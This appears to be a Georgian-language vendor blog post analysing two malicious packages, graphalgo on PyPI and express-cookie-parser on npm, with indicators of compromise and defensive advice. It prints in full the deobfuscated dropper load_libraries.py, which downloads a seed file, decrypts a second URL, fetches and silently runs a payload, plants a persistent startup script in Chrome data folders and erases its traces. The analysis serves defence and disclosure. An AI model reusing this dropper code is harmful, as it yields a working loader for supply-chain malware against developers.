პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევები 2025 - მავნე პაკეტები - მავნე Python პაკეტები - მავნე npm პაკეტები

პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევების უფრო დეტალური მიმოხილვა 2025: PyPI და npm კამპანიების შედარება

Xygeni-მ ცოტა ხნის წინ დააკვირდა შემაშფოთებელ ტენდენციას პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევების ლანდშაფტში 2025 წელს., რომელიც ორ პოპულარულ პაკეტის მენეჯერში ვლინდება: PyPI მდე npmჩვენი მიმდინარე საფრთხის შესახებ დაზვერვის ძალისხმევის ფარგლებში,Xygeni-ს მავნე პროგრამების ადრეული გაფრთხილება (MEW) ინსტრუმენტმა გამოავლინა მავნე პაკეტის განსხვავებული, მაგრამ მეთოდოლოგიურად მსგავსი შემთხვევა, რომელიც ადრე ატვირთული იყო სხვა რეესტრში. ეს შემთხვევა ხაზს უსვამს, თუ როგორ ვითარდებიან და ხელახლა იყენებენ საფრთხის შემქმნელები შეტევის ტექნიკას ეკოსისტემებში, განსაკუთრებით... მავნე Python პაკეტები მდე მავნე npm პაკეტები, რაც ზრდის მავნე პაკეტების ღია წყაროს მიწოდების ჯაჭვებში შეღწევის რისკს.

Xygeni-ს MEW: მსგავსებების აღმოჩენა

Xygeni-ის MEW ინსტრუმენტი შექმნილია მავნე პაკეტების აღმოსაჩენად და მონიშვნისთვის, განსაკუთრებით იმ პაკეტებისა, რომლებიც დაკავშირებულია პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევებთან 2025 წელს, როგორც კი ისინი გამოქვეყნდება ღია კოდის რეესტრებში. ის მუშაობს ახალი პაკეტების საეჭვო ქცევის ანალიზით.

ამ შემთხვევაში, მან ორი გამოავლინა მავნე Python პაკეტები (graphalgo PyPI-ზე) და მავნე npm პაკეტები (express-cookie-parser npm-ზე).

მავნე Python-ის და npm პაკეტები პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის თავდასხმებში (2025)

მოდით, განვიხილოთ ის საერთო მახასიათებლები, რომლებმაც გამოიწვია ჩვენი შეტყობინებები:

ტიპოქტაცია

ორივე მათგანი ცდილობდა არსებული პოპულარული პაკეტების იმიტაციას.

  • გრაფალგო (PyPI): "Python-ის პაკეტი გრაფიკებისა და ქსელების შესაქმნელად და მანიპულირებისთვის.„ატვირთულია მომხმარებლის მიერ სახელწოდებით „ლარიტექი“ 2025 წლის 13 ივნისს, ეს პაკეტი წარმოდგენილი იყო, როგორც PyPi ალტერნატივა ორიგინალური არამავნე graphalgo პროექტისა, რომელსაც მოგვიანებით graphdict ეწოდა.
  • ექსპრეს-ქუქი-პარსერი (npm)ეს პაკეტი ბაძავდა ცნობილ cookie-parser პაკეტს, მისი ანარეკლის შემცველიც კი იყო. README.md. ასეთი იმიტაცია არსებული ნდობის გამოყენების კლასიკური ტაქტიკაა.

დაბნელება, როგორც თავდაცვის პირველი ხაზი

ორივე პაკეტმა დამალა თავისი მავნე კოდი ორიგინალ ფაილებში. გრაფალგო, დაბნეული კოდი ნაპოვნი იქნა შიგნით /utils/load_libraries.py. იმ შემთხვევაში, თუ ექსპრეს-ქუქი-პარსერი, cookie-loader.min.js შეიცავდა დაბინდულ დატვირთვას.

დაბნელების ეს საწყისი ფენა, როგორც წესი, გამოიყენება შემთხვევითი შემოწმებისა და სტატიკური ანალიზის შესაფერხებლად. დაბნელება საკმაოდ მარტივი იყო: განმეორებითი ZLib შეკუმშვა პლუს Base64 კოდირება. დაბნელების ეს ტიპი აშკარად მიუთითებს, რომ პროგრამული უზრუნველყოფა ცდილობს თავისი ქცევის დამალვას. სხვა მტკიცებულებებთან ერთად, ამან Xygeni MEW-ს საშუალება მისცა, პაკეტები პოტენციურ მავნე პროგრამებად კლასიფიცირებულიყო. დადასტურების ეტაპზე, ჩვენმა შემფასებლებმა დაუყოვნებლივ მოამზადეს დედაბნელების სკრიპტი, რომელმაც გამოავლინა აშკარად მავნე dropper ეტაპი.

მრავალსაფეხურიანი ტვირთის მიწოდება და საერთო საწყისი წერტილი

ორივე პაკეტი ფუნქციონირებდა როგორც საწყისი „წვეთები“, რეალური ტვირთისთვის ნიადაგის მომზადება. მათ საერთო გარეგანი „თესლიფაილის URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

ეს იდენტური გარე საწყისი ფაილი საერთო საფრთხის მქონე პირის ძლიერი ინდიკატორია. საინტერესოა, რომ ამ საწყისი ფაილის შინაარსი, როგორც ჩანს, მარტივი გარემოს ცვლადებია (მაგ., JWT_SECRET, PORT), რაც პოტენციურად შეცდომაში შემყვანია მისი რეალური ფუნქციის შესამოწმებლად.

დინამიური C2 გარჩევადობა DGA-თი

ამ მავნე პაკეტებში დაფიქსირებული დახვეწილი ტაქტიკაა დომენის გენერირების ალგორითმის (DGA) გამოყენება Command and Control (C2) სერვერის დინამიურად გადასაჭრელად. ეს ტექნიკა, რომელიც ხშირად გვხვდება 2025 წელს მოწინავე პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევებში, ეყრდნობა SHA256 ჰეშს, რომელიც მიღებულია საწყისი ფაილის შინაარსიდან, სხვა მყარად კოდირებულ მნიშვნელობებთან ერთად. ამით, C2 ინფრასტრუქტურა ხშირად იცვლება, რაც ტრადიციულ შავ სიაში შეტანას გაცილებით ნაკლებად ეფექტურს ხდის. ამ შემთხვევაში, npm ვარიანტმა გამოიყენა ფიქსირებული მნიშვნელობა... 496AAC7E როგორც მისი DGA ლოგიკის ნაწილი.

გამძლეობის დამკვიდრება

ორივე თავდამსხმელი ცდილობდა დაზარალებულ სისტემებზე ხანგრძლივი ყოფნის დამყარებას. მათი სტრატეგია ფაილის წაშლას მოიცავდა, startup.py (PyPi-სთვის) ან startup.js (npm-ისთვის), სხვადასხვა ოპერაციულ სისტემაში (Windows, Linux, macOS) არსებული Google Chrome-ის მომხმარებლის მონაცემთა დირექტორიებში.

შესრულების შემდგომი დასუფთავება

კვალის მინიმიზაციის მიზნით, ორივე მავნე სკრიპტმა შეასრულა გაწმენდის ოპერაციები. ეს მოიცავდა მათი საწყისი dropper ფაილების წაშლას (load_libraries.py, cookie-loader.min.js) და ლეგიტიმური პაკეტის ფაილების მოდიფიცირება (__init__.py, index.js) ახლა წაშლილ კომპონენტებზე მითითებების წასაშლელად.

მავნე Python-ისა და npm პაკეტების კომპრომეტირების ინდიკატორები

  • PyPI პაკეტი: graphalgo (გამოქვეყნებულია larrytech-ის მიერ, 2025 წლის 13 ივნისს)
  • npm პაკეტი: express-cookie-parser (კერძოდ, ვერსია 1.4.12)
  • გაზიარებული საწყისი URL-ზე წვდომა

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • მუდმივი ფაილების სახელები: startup.py (პითონი) startup.js (JavaScript)
  • საერთო მუდმივი გზები (ოპერაციულ-დამოკიდებული)Google Chrome-ის მომხმარებლის მონაცემების დირექტორიებში (მაგ., AppData\Local\Google\Chrome\UserData\Scripts\ Windows-ზე, ~/.config/google-chrome/Scripts/ Linux-ზე და ა.შ.).

როგორ დავიცვათ თავი მავნე პაკეტებისგან პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის თავდასხმების დროს 2025 წელს

დეველოპერებისთვის რეკომენდებული მიდგომა

ეს ინციდენტი 2025 წელს პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევების საფრთხეების ცვალებად ლანდშაფტში ღირებული შემთხვევის შესწავლას წარმოადგენს. ის ხაზს უსვამს, თუ როგორ შეიძლება მავნე Python-ის პაკეტებმა და მავნე npm პაკეტებმა შეაღწიონ სანდო ეკოსისტემებში, ხშირად თავიდან აიცილონ აღმოჩენა მანამ, სანამ ძალიან გვიან არ იქნება. სწორედ ამიტომ, ადრეული გამოვლენა, ჭკვიანი ხელსაწყოები და პროაქტიული სისტემის ჰიგიენა ახლა ნებისმიერი უსაფრთხო DevOps სამუშაო პროცესის აუცილებელი ნაწილებია. დეველოპერებს ვურჩევთ, გაითვალისწინონ შემდეგი:

დამოკიდებულების მიმოხილვა

თუ თქვენს პროექტებში შედის გრაფალგო or ექსპრეს-ქუქი-პარსერი, გონივრული იქნებოდა მათი მოცილების პროცესის გაგრძელება.

  • PyPI-სთვის: pip uninstall graphalgo
  • npm-სთვის: npm uninstall express-cookie-parser

სისტემის ჰიგიენა

განიხილეთ სისტემის ყოვლისმომცველი სკანირების ჩატარება. ასევე სასურველია ხელით შეამოწმოთ Chrome-ის მომხმარებლის მონაცემთა დირექტორიის საერთო ბილიკები ნებისმიერი მოულოდნელი შემთხვევის აღმოსაჩენად. startup.py or startup.js files.

პროაქტიული უსაფრთხოების ზომები

  • ახალი დამოკიდებულებების შეფასებაინტეგრაციამდე ახალი პაკეტების საფუძვლიანი შეფასების რუტინის დამკვიდრება, ყურადღება უცნობი გამომცემლების პაკეტებზე გაამახვილეთ.
  • უსაფრთხოების ინსტრუმენტების ინტეგრირება: ისეთი ინსტრუმენტები, როგორიცაა Xygeni-ის MEW, სხვა პროგრამული უზრუნველყოფის კომპოზიციის ანალიზთან ერთად (SCA) გადაწყვეტილებებს, შეუძლიათ უზრუნველყონ დაცვის კრიტიკული ფენა საეჭვო ქცევებისა და დაუცველობების იდენტიფიცირებით.
  • ყველაზე ნაკლები პრივილეგიაგანვითარების გარემოს მინიმალური პრივილეგიების პრინციპით ფუნქციონირება ხელს შეუწყობს კომპრომისის პოტენციური ზემოქმედების შეზღუდვას.
  • ქსელის ცნობიერებაუჩვეულო კავშირების აღმოსაჩენად გამავალი ქსელის ტრაფიკის მონიტორინგმა ზოგჯერ შეიძლება გამოავლინოს DGA-ს მიერ გენერირებული C2 კომუნიკაციები.

ძირითადი კომპონენტები load_libraries.py (გრაფალგოდან)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): ამუშავებს ფაილების მოძიებას მითითებული URL-ებიდან.
  • run_process()გარე Python სკრიპტებს განუყოფლად ასრულებს, თრგუნავს გამომავალ მონაცემებს დისკრეტულად დარჩენის მიზნით.
  • get_output_file_path()განსაზღვრავს იდეალურ სისტემურ მდებარეობას მუდმივი startup.py ფაილისთვის.
  • remove_self(): ახორციელებს საწყისი მავნე ფაილების და პაკეტის მოდიფიკაციების გასუფთავებას შესრულების შემდეგ.
  • simple_shift_encrypt() / simple_shift_decrypt()საკომუნიკაციო არხების დაფარვისთვის შექმნილი მორგებული კრიპტოგრაფიული ფუნქციები, რაც გადამწყვეტია DGA-ს დანერგვისთვის.
  • load_libraries()ცენტრალური ფუნქცია, რომელიც კოორდინაციას უწევს მთელ მრავალსაფეხურიან პროცესს, საწყისი ჩამოტვირთვიდან საბოლოო დატვირთვის შესრულებამდე და გაწმენდამდე.

Aftermath

MEW-ის მიერ იდენტიფიცირებული სხვა პოტენციურად მავნე პაკეტების მსგავსად, დამოკიდებულების firewall-მა დაუყოვნებლივ დაიცვა მომხმარებლები, რომლებიც ამ მავნე პაკეტებს თავიანთ დამოკიდებულებებში ჩართავდნენ. დადასტურების შემდეგ, ჩვენ დავიცვით ორივე რეესტრის შეტყობინების პროცედურები, რომლებმაც განხილვის შემდეგ ორივე პაკეტი წაშალეს.

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად